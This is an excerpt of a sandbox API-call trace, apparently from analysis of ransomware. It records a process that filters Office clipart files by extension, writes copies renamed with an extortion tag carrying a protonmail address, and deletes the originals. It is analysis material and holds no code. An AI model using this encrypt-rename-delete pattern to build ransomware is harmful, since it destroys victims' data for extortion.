	[0178.116] lstrlenW (lpString=".xlsx") returned 5
	[0178.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.116] lstrlenW (lpString=".ppt") returned 4
	[0178.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0178.116] lstrlenW (lpString=".zip") returned 4
	[0178.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.116] lstrlenW (lpString=".rar") returned 4
	[0178.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.116] lstrlenW (lpString=".bz2") returned 4
	[0178.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.116] lstrlenW (lpString=".7z") returned 3
	[0178.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0178.116] lstrlenW (lpString=".dbf") returned 4
	[0178.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0178.116] lstrlenW (lpString=".1cd") returned 4
	[0178.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0178.116] lstrlenW (lpString=".jpg") returned 4
	[0178.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0178.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0178.116] lstrlenW (lpString=".doc") returned 4
	[0178.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.116] lstrlenW (lpString=".docx") returned 5
	[0178.117] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.117] lstrlenW (lpString=".pdf") returned 4
	[0178.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.117] lstrlenW (lpString=".xls") returned 4
	[0178.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.117] lstrlenW (lpString=".xlsx") returned 5
	[0178.117] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.117] lstrlenW (lpString=".ppt") returned 4
	[0178.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0178.117] lstrlenW (lpString=".zip") returned 4
	[0178.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.117] lstrlenW (lpString=".rar") returned 4
	[0178.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.117] lstrlenW (lpString=".bz2") returned 4
	[0178.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.117] lstrlenW (lpString=".7z") returned 3
	[0178.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0178.117] lstrlenW (lpString=".dbf") returned 4
	[0178.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0178.117] lstrlenW (lpString=".1cd") returned 4
	[0178.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0178.117] lstrlenW (lpString=".jpg") returned 4
	[0178.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.117] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.118] lstrlenW (lpString="HH02312_.WMF") returned 12
	[0178.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0178.118] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=4970) returned 1
	[0178.118] CloseHandle (hObject=0x588) returned 1
	[0178.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220
	[0178.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0178.119] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.119] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0178.120] GetLastError () returned 0x0
	[0178.120] ReadFile (in: hFile=0x588, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x136a, lpOverlapped=0x0) returned 1
	[0178.122] WriteFile (in: hFile=0x5c4, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0178.123] ReadFile (in: hFile=0x588, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.123] WriteFile (in: hFile=0x5c4, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.123] SetEndOfFile (hFile=0x5c4) returned 1
	[0178.123] CloseHandle (hObject=0x5c4) returned 1
	[0178.123] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.123] SetEndOfFile (hFile=0x588) returned 1
	[0178.126] CloseHandle (hObject=0x588) returned 1
	[0178.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1
	[0178.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0178.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0178.127] lstrlenW (lpString=".doc") returned 4
	[0178.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.127] lstrlenW (lpString=".docx") returned 5
	[0178.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.127] lstrlenW (lpString=".pdf") returned 4
	[0178.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.127] lstrlenW (lpString=".xls") returned 4
	[0178.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.127] lstrlenW (lpString=".xlsx") returned 5
	[0178.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.127] lstrlenW (lpString=".ppt") returned 4
	[0178.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0178.127] lstrlenW (lpString=".zip") returned 4
	[0178.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.127] lstrlenW (lpString=".rar") returned 4
	[0178.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.127] lstrlenW (lpString=".bz2") returned 4
	[0178.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.127] lstrlenW (lpString=".7z") returned 3
	[0178.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0178.127] lstrlenW (lpString=".dbf") returned 4
	[0178.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0178.494] lstrlenW (lpString=".1cd") returned 4
	[0178.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0178.494] lstrlenW (lpString=".jpg") returned 4
	[0178.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0178.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0178.494] lstrlenW (lpString=".doc") returned 4
	[0178.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.494] lstrlenW (lpString=".docx") returned 5
	[0178.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.494] lstrlenW (lpString=".pdf") returned 4
	[0178.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.494] lstrlenW (lpString=".xls") returned 4
	[0178.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.494] lstrlenW (lpString=".xlsx") returned 5
	[0178.494] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.494] lstrlenW (lpString=".ppt") returned 4
	[0178.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0178.495] lstrlenW (lpString=".zip") returned 4
	[0178.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.495] lstrlenW (lpString=".rar") returned 4
	[0178.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.495] lstrlenW (lpString=".bz2") returned 4
	[0178.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.495] lstrlenW (lpString=".7z") returned 3
	[0178.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0178.495] lstrlenW (lpString=".dbf") returned 4
	[0178.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0178.495] lstrlenW (lpString=".1cd") returned 4
	[0178.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68
	[0178.495] lstrlenW (lpString=".jpg") returned 4
	[0178.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.495] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.495] lstrlenW (lpString="HM00172_.WMF") returned 12
	[0178.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0178.932] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=2832) returned 1
	[0178.932] CloseHandle (hObject=0x5c4) returned 1
	[0178.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220
	[0179.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0179.374] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.374] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0179.745] GetLastError () returned 0x0
	[0179.745] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xb10, lpOverlapped=0x0) returned 1
	[0179.751] WriteFile (in: hFile=0x4a8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xb20, lpOverlapped=0x0) returned 1
	[0179.752] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.752] WriteFile (in: hFile=0x4a8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.752] SetEndOfFile (hFile=0x4a8) returned 1
	[0179.752] CloseHandle (hObject=0x4a8) returned 1
	[0179.752] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.752] SetEndOfFile (hFile=0x580) returned 1
	[0179.755] CloseHandle (hObject=0x580) returned 1
	[0179.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1
	[0179.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0179.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0179.760] lstrlenW (lpString=".doc") returned 4
	[0179.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.760] lstrlenW (lpString=".docx") returned 5
	[0179.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0179.760] lstrlenW (lpString=".pdf") returned 4
	[0179.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.761] lstrlenW (lpString=".xls") returned 4
	[0179.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.761] lstrlenW (lpString=".xlsx") returned 5
	[0179.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0179.761] lstrlenW (lpString=".ppt") returned 4
	[0179.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0179.761] lstrlenW (lpString=".zip") returned 4
	[0179.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.761] lstrlenW (lpString=".rar") returned 4
	[0179.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.761] lstrlenW (lpString=".bz2") returned 4
	[0179.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.761] lstrlenW (lpString=".7z") returned 3
	[0179.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0179.761] lstrlenW (lpString=".dbf") returned 4
	[0179.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0179.761] lstrlenW (lpString=".1cd") returned 4
	[0179.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0179.761] lstrlenW (lpString=".jpg") returned 4
	[0179.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0179.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0179.761] lstrlenW (lpString=".doc") returned 4
	[0179.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.761] lstrlenW (lpString=".docx") returned 5
	[0179.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0179.762] lstrlenW (lpString=".pdf") returned 4
	[0179.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.762] lstrlenW (lpString=".xls") returned 4
	[0179.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.762] lstrlenW (lpString=".xlsx") returned 5
	[0179.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0179.762] lstrlenW (lpString=".ppt") returned 4
	[0179.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0179.762] lstrlenW (lpString=".zip") returned 4
	[0179.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.762] lstrlenW (lpString=".rar") returned 4
	[0179.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.762] lstrlenW (lpString=".bz2") returned 4
	[0179.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.762] lstrlenW (lpString=".7z") returned 3
	[0179.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0179.762] lstrlenW (lpString=".dbf") returned 4
	[0179.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0179.762] lstrlenW (lpString=".1cd") returned 4
	[0179.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0179.762] lstrlenW (lpString=".jpg") returned 4
	[0179.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.762] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0179.763] lstrlenW (lpString="IN00956_.WMF") returned 12
	[0179.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0179.764] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=1256) returned 1
	[0179.764] CloseHandle (hObject=0x580) returned 1
	[0179.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220
	[0179.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0179.765] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.765] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0179.766] GetLastError () returned 0x0
	[0179.766] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x4e8, lpOverlapped=0x0) returned 1
	[0179.767] WriteFile (in: hFile=0x4a8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0179.768] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.769] WriteFile (in: hFile=0x4a8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.769] SetEndOfFile (hFile=0x4a8) returned 1
	[0179.769] CloseHandle (hObject=0x4a8) returned 1
	[0179.769] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.769] SetEndOfFile (hFile=0x580) returned 1
	[0179.771] CloseHandle (hObject=0x580) returned 1
	[0179.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1
	[0179.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0179.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0179.772] lstrlenW (lpString=".doc") returned 4
	[0179.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.773] lstrlenW (lpString=".docx") returned 5
	[0179.773] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0179.773] lstrlenW (lpString=".pdf") returned 4
	[0179.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.773] lstrlenW (lpString=".xls") returned 4
